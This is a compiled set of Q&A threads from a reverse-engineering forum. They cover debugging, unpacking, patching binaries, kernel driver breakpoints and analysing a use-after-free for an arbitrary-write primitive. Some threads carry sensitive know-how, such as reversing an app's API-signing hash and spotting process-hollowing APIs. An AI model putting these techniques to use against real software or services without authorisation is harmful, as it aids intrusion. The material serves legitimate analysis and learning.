<p>You can see in <a href="https://chromium.googlesource.com/chromium/src.git/+/41.0.2272.89/base/allocator/" rel="nofollow">https://chromium.googlesource.com/chromium/src.git/+/41.0.2272.89/base/allocator/</a> that there's no <code>allocator_shim.cc</code> file, which may suggest that the callstack artifact is from a change made by Google for Chrome. Alternatively, it could suggest that the standard build process "renames" <code>allocator_shim_win.cc</code> to <code>allocator_shim.cc</code> at build-time, in which case this might not be because of changes made by Google.</p>
|
8651
|
2015-04-07T15:22:42.993
|
<p>My fuzzer recently crashed chrome and dumped what appears to be an exploitable vulnerability. I'm having an issue debugging it, as the referenced source appears incompatible with the version of chrome im running:</p>
<p>Chrome v. 41.0.2272.89 m
The callstack is referencing allocator_shim.cc
<code>c:\b\build\slave\win\build\src\base\allocator\allocator_shim.cc</code></p>
<p>The issue is that for the most recent source I've pulled, there's only
<code>allocator_shim_win.cc</code></p>
<p>Browsing Chromium source online also only has the newer
<code>allocator_shim_win.cc</code><br>
instead of
<code>allocator_shim.cc</code></p>
<p>Why is my version of Chrome referencing/using old source (symbols/metadata) when it's supposed to be up to date?</p>
|
Chrome Vulnerability Issue
|
|windows|debuggers|c++|exploit|debugging-symbols|
|
<p>Unpacking is an art, and as such there aren't clear steps to unpack any target.</p>
<p>I was in your situation a few years ago. I understood assembly, and code injections and hooking and whatnot, but I could not grasp unpacking.</p>
<p>The key is to approach unpacking analytically. You have a state A, which is a (possibly!) packed executable, and you have a desired state B which contains code you can analyze in IDA for example. You want to find where that state switch happens.</p>
<p>This sounds rather generic, and that's because it is. Especially in malware unpacking, it's not always 100% clear when code is unpacked. Sometimes there is no unpacked binary, but injected shellcode. Sometimes you get 3 stages of unpacking.</p>
<p>So then, this is not helpful. That's why you start with very simple approaches to learn the patterns.</p>
<p>That's where the ESP trick you mentioned comes into play. This is a trick that commonly allows you to skip code. Oftentimes, unpacking stubs are surrounded with pushad/popad to not taint the environment before the actual code runs. That's one pattern to learn - something starts with saving the execution state (more or less) - so we're interested in what happens afterwards.</p>
<p>Another idea: PE executables have a header. So if some unpacker unpacks the target code, does it restore the original header? The answer surprisingly is mostly yes! That's great, because now we can just watch for the header being changed and are close to the final form of the code. This can be done be setting a Hardware Breakpoint on Write on some field in the header - for example the AddressOfEntryPoint, because that's what we want to know!</p>
<p>Then there are so-called RunPE packers (also now referred to as 'process hollowing') - they broke up with the concept of unpacking as in a small stub that rebuilds the original executable in-placce but instead create a new (possibly unrelated) process, then rewrite that new process to the state of the original binary.</p>
<p>So how do we handle that? We watch for APIs that are used. We watch for CreateProcess(CREATE_SUSPENDED), we watch WriteProcessMemory, we watch ResumeThread. Of course, there are dozens of variations (ZwWriteVirtualMemory, ZwResumeProcess, ZwCreateProcess and so on) but the key steps are the same: Create some new process, modify it, resume execution.</p>
<p>Then there are examples that simply don't fit a scheme themselves - what to do with them? Follow their code flow! Look until you see something you can use. Sometimes you'll end up with some dumped shellcode from WriteProcessMemory, but that's the 'final' stage B, there is nothing else.</p>
<p>This is a long answer but my point is: Unpacking is simple - packed code is transformed into unpacked code. There is no magic between these steps, so follow the code and think outside the box.</p>
<p>Sometimes all you need is a breakpoint on VirtualFree() to catch the unpacked code being freed. Sometimes you just need a breakpoint on VirtualAlloc() and watch what is written there. By thinking about what CAN happen between state A and B you'll find points to 'ambush' the unpacked code so to speak.</p>
|
8654
|
2015-04-07T20:12:17.570
|
<p>I want to find a way to improve my unpacking skills, i am not a noob but i miss steps from simple to hard packers.</p>
<p>I saw lot of video tutorials, the most of the time i see "click F9 x times to reach the OEP" or "ESP trick" without go deeper as i want.
I find the learning process slow in this way.</p>
<p>I am searching for paper or books to go deeper in this art, my goal is to be able to face malware analisis in the best way.</p>
<p>Please advice, thanks</p>
|
Best and smarter way to improve unpacking skills
|
|ida|ollydbg|malware|unpacking|
|
<p><code>v22</code> is the first byte of an 0x80000-byte buffer.</p>
<p><code>&v22</code> is a pointer to that buffer.</p>
<p><code>&v22 + i / 4</code> is a pointer to the <code>i/4</code>'th byte in that buffer.</p>
<p><code>*(&v22 + i / 4) |= ...</code> ORs the <code>i/4</code>'th byte in that buffer with <code>decryptedByte << 8 * (i - ((i + ((unsigned int)(i >> 31) >> 30))</code>.</p>
|
8655
|
2015-04-07T23:44:15.937
|
<p>So I'm trying to reverse engineer a LFSR encryption scheme using IDA, and am (hopefully) pretty close to cracking it. </p>
<p>The code in particular iterates through every byte of the encrypted file, decrypts it and stores it in memory (var v22). What stumps me however, is the way the pseudocode seems to do some operations on the variable before declaring it – which I have no idea how to "translate" into something a bit less cryptic.</p>
<p>I've included the code below:</p>
<pre><code>file = fopen((const char *)&bin_filename, "rb");
fseek(file, 0, 0);
memset(&v22, 0, 0x80000u);
i = 0;
while ( feof(file) == 0 ){
fread(&byte, 1u, 1u, file);
if ( i % 4 ){
decryptedByte = DecryptByte(byte);
// What happens here on the left hand side of the bitwise OR assignment?
*(&v22 + i / 4) |= decryptedByte << 8 * (i - ((i + ((unsigned int)(i >> 31) >> 30)) & 0x1C));
}
else {
decryptedByte = DecryptByte(byte);
*(&v22 + i / 4) = decryptedByte;
}
++i;
}
</code></pre>
<p>As indicated by my comment above, what I don't understand is the meaning of <code>*(&v22 + i / 4) =</code> in the context of a variable assignment. </p>
<p>How does <code>decryptedByte</code> get assigned to a math equation?</p>
|
Understanding pseudocode containing a math operation in a variable assignment
|
|decompilation|deobfuscation|decryption|
|
<p><strong>possibilities:</strong></p>
<ol>
<li>Maybe the protection has been changed as @Guntram Blohm said.</li>
<li>Have you checked your OllyDBG version. I guess this problem might have been occurred because your version doesn't support OS architecture or to be more specific, it doesn't have the proper plugins.</li>
</ol>
<p><strong>Suggestions:</strong></p>
<ul>
<li>Try to use "R4ndoms_OllyDBG" mod of OllyDBG... it's compatible with Win 7/8 x86/x64.</li>
<li>Don't go after strings, try to go after the api (that you think it's being implemented), or you can look in the stack.</li>
<li>Use another debugger like x64dbg or IDA Pro.</li>
</ul>
|
8665
|
2015-04-09T01:15:47.943
|
<p>I am following <a href="http://securityxploded.com/reverse-engineering-video-converter.php" rel="nofollow noreferrer">this</a> tutorial on reverse engineering. In the step where I "search for all referenced strings" I get a window as follows:</p>
<p><img src="https://i.stack.imgur.com/fdlgI.png" alt="enter image description here"></p>
<p>When compared to the image on the tutorial for the step, I found that the column headings of my window are : <strong>Address Command Comments</strong> where as according to the tutorial it is supposed to be: <strong>Address Disassembly Text String</strong> (It is not seen on the tutorial but I dig the internet before making this post).</p>
<p>I am using Windows 8.1. I have run Ollydbg as administrator with compatibility mode for Windows 7 and Windows XP SP3, used Ollydbg 1.10 and 2.0 but I get same results. The module loaded is also the correct (not the ntdll). The exe version is a different one but I installed it and the overall functionality of the new version is still the same - gives out the exactly same error message for invalid registration.</p>
<p>What am I doing wrong/missing here?? What might be the reason of this and how can I overcome it?</p>
|
Ollydbg does not find all referenced strings while Reverse Engineering AoneVideo2AudioConverter
|
|disassembly|ollydbg|executable|patch-reversing|
|
<p>patch the Address of Entry Point with a <code>(0xcc aka int 3)</code> and load the driver AddrOfEntryPoint normally points to either DriverEntry or GsDriverEntry </p>
<p>when broken you need to replace 0xcc by original byte and reset eip back by a byte</p>
<pre><code>use eb <address> originalbyte enter
r eip = <addresss>
</code></pre>
<p>here is the entry point of beep.sys which points to Beep!driverEntry</p>
<pre><code>lkd> lm m beep
start end module name
f7b0e000 f7b0f080 Beep (pdb symbols) f:\symbols\beep.pdb\65DC45B439164E4C9DEFF20E161DC74C1\beep.pdb
lkd> ? by(beep+3c)
Evaluate expression: 208 = 000000d0
lkd> ? dwo(beep+dwo(beep+3c)+28)
Evaluate expression: 1644 = 0000066c
lkd> .printf "%y\n" , beep+66c
Beep!DriverEntry (f7b0e66c)
lkd>
</code></pre>
|
8670
|
2015-04-09T15:20:41.963
|
<p>I'm sorry for my bad English. I'm a beginner in Reverse Engineering. I have a problem like this. I was given two files, one is driver's .inf file and the other is driver's .sys file. My mission is to debug this driver and understand its functionality(driver doesn't have physical device). I use 2 machines, one is the host machine which is actually my real computer and a XP virtual machine(VMware). I also use VirtualKD and Windbg. I want to set breakpoint at its DriverEntry.</p>
<p>When I installed driver, I noticed that it ran automatically right after being installed. So I can't set breakpoint at DriverEntry. I restarted virtual machine and set breakpoint in Windbg with all the following commands:
<br>bu Driver!DriverEntry (Driver is driver's ClassName, I saw it in .inf file)
<br>bu Drv!DriverEntry (Drv is its service name when installed)
<br>bu drv!DriverEntry (drv is sys file name, drv.sys)
<br>But Windbg didn't catch any breakpoints. I saw Windbg printed out some infos, I don't know whether it made breakpoints could not catch:</p>
<blockquote>
<blockquote>
<hr>
<p>*
* A driver is mapping physical memory 0064F000->006D0FFF
* that it does not own. This can cause internal CPU corruption.
* A checked build will stop in the kernel debugger
* so this problem can be fully debugged.
*</p>
<hr>
</blockquote>
<p>ERROR: DavReadRegistryValues/RegQueryValueExW(4). WStatus = 5
ERROR: DavReadRegistryValues/RegQueryValueExW(5). WStatus = 5
ERROR: DavReadRegistryValues/RegQueryValueExW(6). WStatus = 5
CodeSet_Init: no ICU
watchdog!WdUpdateRecoveryState: Recovery enabled.</p>
</blockquote>
<p><br>My second thought was I rolled back my virtual machine and set breakpoints before installing driver. But Windbg said that it could not resolve those breakpoints. And of course it cannot hit any of them.
<br><br> I really don't know how to set this driver's entry. Please help me. Thank you.
<br><br>P/S: probably this driver can communicate with other app through pipe. How can I debug it without infecting its communication?</p>
|
Kernel debugging - how to set breakpoint at DriverEntry?
|
|debugging|windbg|kernel-mode|virtual-machines|driver|
|
<p>complete src code and build instruction is available in this post for a sample plugin </p>
<p><a href="https://reverseengineering.stackexchange.com/questions/8290/ollydbg-2-01-run-trace-skip-selection-option/8292#8292">OllyDbg 2.01 Run Trace "Skip selection option"</a></p>
|
8674
|
2015-04-09T20:55:46.900
|
<p>I have been looking around for ways to make plugins in Ollydbg 2 and I haven't seen a good amount of information;I keep finding guides for Immunity Dbg or how to make plugins work.</p>
<p>I don't mind learning to make plugins but, there seems to be a very limited amount of information on the net for Ollydbg. Does anyone know where I can find some information on how to make plugins for Ollydbg?</p>
|
Making plugins for Ollydbg 2
|
|ollydbg|automation|plugin|
|
<p>To add to the above from @Neitsa, there is a great post by Axel "0vercl0k" Souchet:</p>
<p><a href="http://doar-e.github.io/blog/2013/08/31/some-thoughts-about-code-coverage-measurement-with-pin/" rel="nofollow">Some Thoughts About Code-coverage Measurement With Pin</a></p>
<p>about using PIN for basic blocks logging with all the way explained from idea to the development POC based on PIN framework. </p>
<p>You can definitely use the provided code there and adjust it to log all the instructions for your needs. Probably even the basic blocks logging could serve your needs in the begging.</p>
|
8678
|
2015-04-11T00:26:52.727
|
<p>Platform: Windows 7 64bit, target 32bit.</p>
<p>I have had an idea of using data mining techniques (maybe even some primitive machine learning) on EIP data, so as to be able to correlate with something later. Just the EIP because everything else needed could later be pulled from the target process anyway as leisure (aside from stack or dynamic memory).</p>
<p>I plan to use PCA or perhaps even a SOM for clustering.</p>
<p>So the actual question: Is there a way to attach to a process in such a way as to be able to continuously dump EIP to file while at the same time having the least possible effect on target's performance?</p>
<p>Thank you. </p>
|
How do you efficiently record EIP of a target continuously?
|
|debugging|
|
<p>First off, have you tried using a better decompiler? I'd recommend <a href="https://github.com/Storyyeller/Krakatau" rel="nofollow">Krakatau</a>, since it's specifically designed for handling obfuscated applications (disclosure: I wrote it). Apart from Krakatau, the best decompiler I know of is <a href="https://bitbucket.org/mstrobel/procyon/wiki/Java%20Decompiler" rel="nofollow">Procyon</a>.</p>
<p>Second, you can see the constant pool by passing the right option to the disassembler. If you're using the Krakatau disassembler, you'd just pass -cpool. You can also use javap in which case you'd pass -v. However, javap is not designed for reverse engineering and has numerous issues, so you're better off with Krakatau for serious disassembly.</p>
|
8680
|
2015-04-11T02:34:39.343
|
<p>I've been reverse engineering the Yikyak application, and I came across this function</p>
<p>One particular function is used in order to verify the integrity of the API call. The decompiler failed to figure out what was going on with the bytecode (provided below), so I wrote in what I thought was the byte code equivalent (this is my first time working with Java bytecode, my apologies for any errors).</p>
<p>One of the things I was stuck on is figuring out how to determine the value referred to in the constant pool. </p>
<pre><code>/* Error */
/* public static String a(String paramString, byte[] paramArrayOfByte)
* Generates a hash to verify the integrity of the API call based on the time (param1 as String) and YikYak.uniqueMD5Hash.getBytes()
*/
public static String hashApiCall(String paramString, byte[] paramArrayOfByte)
{
// Possible values for hash algo: HmacMD5, HmacSHA1, HmacSHA256, HmacSHA384, HmacSHA512
SecretKeySpec localSecretKeySpec = new SecretKeySpec(paramArrayOfByte, (String hash algo)ldc 179);
Mac localMac = Mac.getInstance((String hash aglo)ldc 179);
localMac.init(localSecretKeySpec);
localMac.doFinal(byte[] ?);
String str2 = Base64.encodeToString(?);
String str3 = str2.trim();
return str3;
// Byte code:
// 0: new 177 javax/crypto/spec/SecretKeySpec
// 3: dup
// 4: aload_1
// 5: ldc 179
// 7: invokespecial 182 javax/crypto/spec/SecretKeySpec:<init> ([BLjava/lang/String;)V
// 10: astore_2
// 11: ldc 179
// 13: invokestatic 188 javax/crypto/Mac:getInstance (Ljava/lang/String;)Ljavax/crypto/Mac;
// 16: astore 8
// 18: aload 8
// 20: aload_2
// 21: invokevirtual 192 javax/crypto/Mac:init (Ljava/security/Key;)V
// 24: aload 8
// 26: aload_0
// 27: invokevirtual 136 java/lang/String:getBytes ()[B
// 30: invokevirtual 196 javax/crypto/Mac:doFinal ([B)[B
// 33: iconst_0
// 34: invokestatic 202 android/util/Base64:encodeToString ([BI)Ljava/lang/String;
// 37: astore 9
// 39: aload 9
// 41: invokevirtual 205 java/lang/String:trim ()Ljava/lang/String;
// 44: astore 12
// 46: aload 12
// 48: astore 4
// 50: aload 4
// 52: areturn
// 53: astore 6
// 55: aconst_null
// 56: astore 4
// 58: aload 6
// 60: astore 7
// 62: aload 7
// 64: invokevirtual 208 java/security/NoSuchAlgorithmException:printStackTrace ()V
// 67: goto -17 -> 50
// 70: astore_3
// 71: aconst_null
// 72: astore 4
// 74: aload_3
// 75: astore 5
// 77: aload 5
// 79: invokevirtual 209 java/security/InvalidKeyException:printStackTrace ()V
// 82: goto -32 -> 50
// 85: astore 11
// 87: aload 9
// 89: astore 4
// 91: aload 11
// 93: astore 5
// 95: goto -18 -> 77
// 98: astore 10
// 100: aload 9
// 102: astore 4
// 104: aload 10
// 106: astore 7
// 108: goto -46 -> 62
// Local variable table:
// start length slot name signature
// 0 111 0 paramString String
// 0 111 1 paramArrayOfByte byte[]
// 10 11 2 localSecretKeySpec javax.crypto.spec.SecretKeySpec
// 70 5 3 localInvalidKeyException1 java.security.InvalidKeyException
// 48 55 4 str1 String
// 75 19 5 localObject1 Object
// 53 6 6 localNoSuchAlgorithmException1 java.security.NoSuchAlgorithmException
// 60 47 7 localObject2 Object
// 16 9 8 localMac javax.crypto.Mac
// 37 64 9 str2 String
// 98 7 10 localNoSuchAlgorithmException2 java.security.NoSuchAlgorithmException
// 85 7 11 localInvalidKeyException2 java.security.InvalidKeyException
// 44 3 12 str3 String
// Exception table:
// from to target type
// 11 39 53 java/security/NoSuchAlgorithmException
// 11 39 70 java/security/InvalidKeyException
// 39 46 85 java/security/InvalidKeyException
// 39 46 98 java/security/NoSuchAlgorithmException
}
</code></pre>
<p>Is there a way to determine what values are in the constant pool (specifically, 179) in order to determine the hashing algorithm that's being used?</p>
<p>Thanks in advance!</p>
|
Correct reassembly of Java bytecode
|
|java|byte-code|
|
<blockquote>
<p>Patched Code Idea - I can't find much suitable place to insert code -
so was thinking of shortening some non-essential strings in .rdata
section to insert this code - Is there any issue with this?</p>
</blockquote>
<p>You should not use the .rdata section as it's usually not not marked for execution of code. If you ignore this you will trigger DEP and changing the segment to allow code executions is obviously not recommended as well.</p>
<p>I would suggest to add a segment, extend the current segment or find some empty space in the current segment (maybe there's align bytes at the end). </p>
<blockquote>
<p>Is there a way to get the "assemble" in IDA to reference my jump
locations, using the location references in IDA. Or is there a
suggested method to calculate how to build my jmp/jz instructions.</p>
</blockquote>
<p>You can just take the difference between the two virtual addresses and use a relative jump (0xE9). </p>
<blockquote>
<p>Now it seems IDA "Assemble" doesn't always work, for example cmp rax,0
it says "Invalid Operand"</p>
</blockquote>
<p>This feature is not supported for AMD64 according to Hex Rays:</p>
<blockquote>
<p>The assembler command is supported for only a few processors, only a
few instructions. We do not plan to extend this feature, sorry</p>
</blockquote>
|
8699
|
2015-04-14T01:06:15.833
|
<p>For experimentation, while waiting for vendor to fix bug, wanted to try and eliminate a crash that occurs on occasion. Up till now I've only done patching replacing existing code, not trying to insert additional code.</p>
<p>Original</p>
<pre><code>.text:000000018000A260 cmp [rax], r12d <- RAX=0, crashes program
.text:000000018000A263 jz short loc_18000A271
.text:000000018000A265 cmp dword ptr [rax], 6
.text:000000018000A268 jnz short loc_18000A276
.text:000000018000A26A cmp ecx, 40h
</code></pre>
<p>And further on:</p>
<pre><code>.text:000000018000A21B mov rcx, [rsp+388h+var_350]
.text:000000018000A220 call cs:WindowsDeleteString
.text:000000018000A226 mov [rsp+388h+var_350], r15
.text:000000018000A22B mov rbx, [rsp+388h+var_348]
</code></pre>
<p>I want to insert some new instruction, changing to jmp to patched code</p>
<pre><code>.text:000000018000A260 jmp <patched code>
</code></pre>
<p>Patched Code Idea - I can't find much suitable place to insert code - so was thinking of shortening some non-essential strings in .rdata section to insert this code - Is there any issue with this? Essentially what I am trying to do is if RAX = 0 , skip over the use of [rax]</p>
<pre><code>cmp rax,0
jz .text:000000018000A21B ; The code point past using [rax]
cmp [rax], r12d
jmp .text:000000018000A263 ; Continue program execution normally
</code></pre>
<p>Now it seems IDA "Assemble" doesn't always work, for example cmp rax,0 it says "Invalid Operand" So I had to patch bytes instead</p>
<pre><code>48 83 F8 00 = cmp rax,0
</code></pre>
<p>Is there a way to get the "assemble" in IDA to reference my jump locations, using the location references in IDA. Or is there a suggested method to calculate how to build my jmp/jz instructions.</p>
|
Patching jmp instructions on amd64 with IDA
|
|ida|assembly|
|
<p>Did you try OllyDBG 2.01 ? It correctly shows the label in the status bar below the CPU for me. </p>
<p><img src="https://i.stack.imgur.com/4FRt1.png" alt="CPU status bar with a label"></p>
|
8700
|
2015-04-14T09:56:51.837
|
<p>As you know, OllyDbg provides labelling. When I see referenced address which assembly code has, I would get information(Label name) if referenced address is labeled.
But If labeled address would be referenced indirectly(e.g. mov eax, dword ptr[eax]) or labelled address is stack, OllyDbg cannot show label to reverser. (also, Status bar which is below CPU cannot show label too)
Is there other way to view label in OllyDbg? It's too hard to analyze obfuscated code because of this poooor behavior</p>
|
OllyDbg Labelling
|
|ollydbg|
|
<p>I would agree with you in that you need to implement some kind of taint tracing, what is tricky statically. Moreover, you need to know whether there are any constraints applied to your controlled values. Also, we land in the symbolic execution domain (warning, there be dragons).</p>
<p>Anyway, maybe <a href="https://github.com/cea-sec/miasm#user-content-symbolic-execution">this project</a> can be helpful to you. It even has <a href="https://github.com/cea-sec/miasm/tree/master/example/ida">IDA Pro integration</a> in the latest version.</p>
<p>Good luck!</p>
|
8701
|
2015-04-14T17:57:28.980
|
<p>I'm analyzing a use-after-free bug in IDA Pro by hand. Basically, I control the content of an object (pointed by a register) and I want to force a write at an arbitrary address. For instance, I might find a <code>mov [ebx], eax</code>, where I can control both <code>eax</code> and <code>ebx</code>.</p>
<p>Is there a way to automate this task at least in part?</p>
<p>Here's a simple example. Let's say we control the data pointed by <code>ecx</code> and we have this code:</p>
<pre><code> mov eax, [ecx]
test dword ptr [ecx+8], 8
jz skip
mov ebx, [ecx+4]
mov [eax], ebx <---- arbitrary write
skip:
</code></pre>
<p>As you can see, by choosing the values at [ecx], [ecx+4] and [ecx+8] carefully, we can perform an arbitrary write. In reality, the code is much more complex, so it's hard to keep track of what we control and find a suitable instruction.</p>
|
Analyzing a use-after-free bug (taint analysis?)
|
|ida|vulnerability-analysis|
|
<p>PS3 (cell) ABI used 64-bit registers but 32-bit pointers. Maybe this sample is from there.</p>
<p>P.S. section names <code>.sceStub.text</code> and <code>.rodata.sceResident</code> definitely point to Sony code (SCE= Sony Computer Entertainment)</p>
|
8704
|
2015-04-15T08:04:10.690
|
<p>I've been given an ELF binary file which self describes as PowerPC 64-bit. The <code>e_entry</code> field of the ELF header points to the beginning of a section called <code>.opd</code>. According to this <a href="http://refspecs.linuxfoundation.org/ELF/ppc64/PPC-elf64abi-1.9.html#ELF-HEAD" rel="nofollow">specification</a>, it is supposed to point to a function descriptor. The same <a href="http://refspecs.linuxfoundation.org/ELF/ppc64/PPC-elf64abi-1.9.html#FUNC-DES" rel="nofollow">specification</a> states that a function descriptor consists of three doublewords (64-bit words). </p>
<p>However, the binary in question (available <a href="https://sourceforge.net/p/decompiler/feature-requests/11/attachment/21sample.elf" rel="nofollow">here</a>) appears to have only two 32-bit words for each function descriptor. </p>
<p>So the question is, why are there 32-bit pointers in this 64-bit binary? </p>
|
Can PowerPC64 ELF file have 32-bit pointers?
|
|elf|powerpc|
|
<p>you can try extending <a href="http://www.openrce.org/downloads/details/227/Structure_Dump" rel="nofollow">this plugin</a> which already implements the export and import part of the functionality.</p>
|
8708
|
2015-04-16T12:46:55.040
|
<p>I am reversing a few modules which share many c++ classes. I am currently maintaining a single header file which contains every struct definition from each database. I update this using a produced header file after working on a module. I then import it when I begin working on a separate module. This approach is error prone, and I have lost some progress by mistakenly overwriting modified structs in different databases.</p>
<p>Is it possible to configure IDA Pro to read and write to a single struct definition file across multiple databases? If not, what would be a best practice for this type of situation?</p>
|
How can I sync structs across multiple IDA databases?
|
|ida|
|
<p>Answering this questions will require a lot more space than what is provided. I rather point you to the best references you can find in order to deeply understand the requirement for <code>SSA</code>.</p>
<p>First, start with <a href="http://en.wikipedia.org/wiki/Static_single_assignment_form">Wikipedia</a> so that you get familiarized with the basic structure and building blocks of <code>SSA</code> (Phi functions, ...). Then, move to <a href="http://grothoff.org/christian/teaching/2007/3353/papers/ssa.pdf">this</a> reference article published in 1991, which is a bit more hairy than the Wikipedia article. </p>
<p>If you want a more detailed document, though incomplete, read <a href="http://ssabook.gforge.inria.fr/latest/book.pdf">this</a> book.<br>
It covers a wide range of algorithms for construction/destruction and also analysis.</p>
<p>If you wish a long/detailed answer, let me know so that I can write a proper one.</p>
|
8714
|
2015-04-17T02:33:33.893
|
<p>I have read that dynamic instrumentation can be done using tools like PIN or Valgrind. However Valgrind provides intermediate representation and converts the binary into SSA which makes it more convenient to perform binary analysis. Could anyone please explain why using an SSA form is more convenient. Why is it difficult to perform dynamic analysis using PIN without an Intermediate representation?</p>
<p>Thank you</p>
|
Use of SSA (Single Static Assignment) while dynamic analysis
|
|dynamic-analysis|
|
<p>If the problem is the time it takes for IDA to rebase the IDB when debugging, then some possible solutions:</p>
<ol>
<li><p>Disable ASLR from module, so it keeps loading at the same base address (same base address from the IDB)</p>
<ul>
<li>Pros: Works well for main executable</li>
<li>Cons: might be a problem for DLLs (see 3.); alter file.</li>
</ul></li>
</ol>
<p>How to: Remove <code>IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE</code> (0x40) from <code>IMAGE_NT_HEADERS.OptionalHeader.DllCharacteristics</code>.</p>
<ol start="2">
<li><p>[<strong>Dangerous</strong>] Disable ASLR system wide (would be possible in a spare VM).</p>
<ul>
<li>Pros: same as 1.</li>
<li>Cons: Same as 1. ; Lower whole system protection</li>
</ul></li>
</ol>
<p>How to: change <code>HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\MoveImages</code></p>
<ol start="3">
<li><p>Rebase all DLLs so they don't collide (apply this with 1.)</p>
<ul>
<li>Pros: all DLLs will have different address base</li>
<li>cons: alter files.</li>
</ul></li>
</ol>
<p>How-to: </p>
<ul>
<li><code>Rebase</code> tool (rebase.exe; deprecated by editbin.exe)</li>
<li><a href="https://msdn.microsoft.com/en-us/library/xd3shwhf.aspx" rel="noreferrer">editbin.exe</a> with <code>/REBASE</code> option</li>
<li><a href="https://msdn.microsoft.com/en-us/library/windows/desktop/aa363364%28v=vs.85%29.aspx" rel="noreferrer">ReBase API</a> </li>
</ul>
<p>Simply use different base addresses for all the DLLs (do not apply this on system DLLs).</p>
<ol start="4">
<li>Use external debugger and synchronize IDB with it.</li>
</ol>
<p>How-to:</p>
<ul>
<li><p>use <a href="https://github.com/quarkslab/qb-sync" rel="noreferrer">QB-sync</a>: it allows you to debug a binary from a debugger (windbg, ollydbg, gdb, etc.) and synchronize the database with the debugger <strong>without</strong> rebasing the IDB.</p></li>
<li><p>Pros: works well, lots of things can be done from debugger</p></li>
<li>Cons: Needs to be confident with an external debugger</li>
</ul>
|
8718
|
2015-04-17T22:52:16.027
|
<p>I am reversing several modules which are dynamically and statically linked into an executable. I have started learning active analysis by attaching one of my database files to the win32 exe using the local win32 debugger (default settings). </p>
<p>Relocating my idb's annotations to map correctly to the exe seems to be taking longer than it should. I am currently doing static analysis by comparing one idb against a memory snapshot because the relocation time does not seem to be worth the wait. This creates, what I think may be, unnecessary work because I have to manually copy the annotations from the single module idb to the snapshot idb.</p>
<p>I want to find out if I can change how I use IDA to speed up relocation. I have no notion of how long this should take given the database's and exe's size. </p>
<pre><code>idb: ~133 Mb
exe: ~650 Mb Size taken from task manager
relocation time: ~15+ minutes
</code></pre>
<p>This is very open ended. I guess I'm looking for debugger settings, hidden annotation performance hits, etc. If this is normal I will try to adjust my debugging practice to get the most out of a session.</p>
|
How should I approach debugging a PE which create a large database?
|
|ida|debugging|dynamic-analysis|
|
<p>Just stumbled across this and thought I would add a bit.</p>
<p>If you want to stop at the entry point of a stripped, dynamically-linked program, I recommend the following procedure.</p>
<ol>
<li>Start GDB with the file.</li>
<li>Start the program with <code>starti</code> so that the loader maps it into memory.
(By default GDB turns off ASLR for your program, but this method will work either way.)</li>
<li>Use <code>info file</code> to get the address of the entry point. This will show virtual addresses <em>after start</em> (that's why we used <code>starti</code> first).</li>
<li>Find the entry point and set a breakpoint at that address.</li>
<li>Run <code>cont</code> to get to the breakpoint.</li>
</ol>
<pre><code>$ gdb /usr/bin/ls
(gdb) starti
(gdb) info file
...
Local exec file:
`/usr/bin/ls', file type elf64-x86-64.
Entry point: 0x55555555a7d0
...
(gdb) b *0x55555555a7d0
(gdb) cont
...
Breakpoint 1, 0x000055555555a7d0 in ?? ()
(gdb) x/i $rip
=> 0x55555555a7d0: endbr64
</code></pre>
<p>Now, if you want <code>main</code> on Linux, step ahead through the disassembly until you find out how <code>rdi</code> is being set (assuming the usual <code>crt0.o</code> has been linked to start the C runtime).</p>
<pre><code>(gdb)
0x55555555a7f1: lea rdi,[rip+0xffffffffffffe5f8] # 0x555555558df0
</code></pre>
<p>Ah ha! We can find <code>main</code> (even without any symbols) at 0x555555558df0.</p>
<pre><code>(gdb) b *0x555555558df0
(gdb) cont
</code></pre>
<p>Now you are at <code>main</code>.
Leaving this here in case someone else comes along with the same question.</p>
|
8724
|
2015-04-18T20:04:56.420
|
<p>Given a position-independent, statically-linked, stripped binary, there does not appear to be a way in GDB to set a breakpoint at the entry point without disabling ASLR.</p>
<ul>
<li><code>break start</code> and similar functions do not work, because there is no symbolic information</li>
<li><code>set stop-on-solib-events 1</code> does not work as the binary is not dynamically linked</li>
<li><code>break *0xdeadbeef</code> for the entry point does not work, as the entry point is unresolved until the binary starts</li>
<li><code>catch load</code> does not work, as it does not load any libraries</li>
<li><code>start</code> does not work, as <code>main</code> is not defined and no libraries are loaded</li>
</ul>
<p>Without patching the binary, what mechanism can I use to break at the first instruction executed?</p>
<h2>Possible?</h2>
<p>Since a now-deleted response to the question said that a PIE statically-linked binary is impossible, a trivial example is the linker itself.</p>
<p>It is statically linked.</p>
<pre><code>$ ldd /lib/x86_64-linux-gnu/ld-2.19.so
statically linked
</code></pre>
<p>It is executable.</p>
<pre><code>$ strace /lib/x86_64-linux-gnu/ld-2.19.so
execve("/lib/x86_64-linux-gnu/ld-2.19.so", ["/lib/x86_64-linux-gnu/ld-2.19.so"], [/* 96 vars */]) = 0
brk(0) = 0x7ff787b3d000
writev(2, [{"Usage: ld.so [OPTION]... EXECUTA"..., 1373}], 1Usage: ld.so [OPTION]... EXECUTABLE-FILE [ARGS-FOR-PROGRAM...]
</code></pre>
<p>It is position-independent.</p>
<pre><code>$ readelf -h /lib/x86_64-linux-gnu/ld-2.19.so | grep DYN
Type: DYN (Shared object file)
</code></pre>
<h2>Solutions</h2>
<p>It looks like this can be done with Python by utilizing some of the events made available: <a href="http://asciinema.org/a/19078" rel="noreferrer">http://asciinema.org/a/19078</a></p>
<p>However, I'd like a native-GDB solution.</p>
<p>A successful solution will break at <code>_start</code> in ld.so when executed directly without disabling ASLR. It should look something like this:</p>
<pre><code>sh $ strip -s /lib/x86_64-linux-gnu/ld-2.19.so -o ld.so
sh $ gdb ./ld.so
(gdb) $ set disable-randomization off
(gdb) $ <your magic commands>
(gdb) $ x/i $pc
=> 0x7f9ba515d2d0: mov rdi,rsp
(gdb) $ info proc map
process 10432
Mapped address spaces:
Start Addr End Addr Size Offset objfile
0x7f9ba515c000 0x7f9ba517f000 0x23000 0x0 /lib/x86_64-linux-gnu/ld-2.19.so
0x7f9ba537e000 0x7f9ba5380000 0x2000 0x22000 /lib/x86_64- linux-gnu/ld-2.19.so
0x7f9ba5380000 0x7f9ba5381000 0x1000 0x0
0x7fffc34c7000 0x7fffc38ca000 0x403000 0x0 [stack]
0x7fffc398b000 0x7fffc398d000 0x2000 0x0 [vdso]
0xffffffffff600000 0xffffffffff601000 0x1000 0x0 [vsyscall]
</code></pre>
|
Set a breakpoint on GDB entry point for stripped PIE binaries without disabling ASLR
|
|debugging|gdb|elf|
|
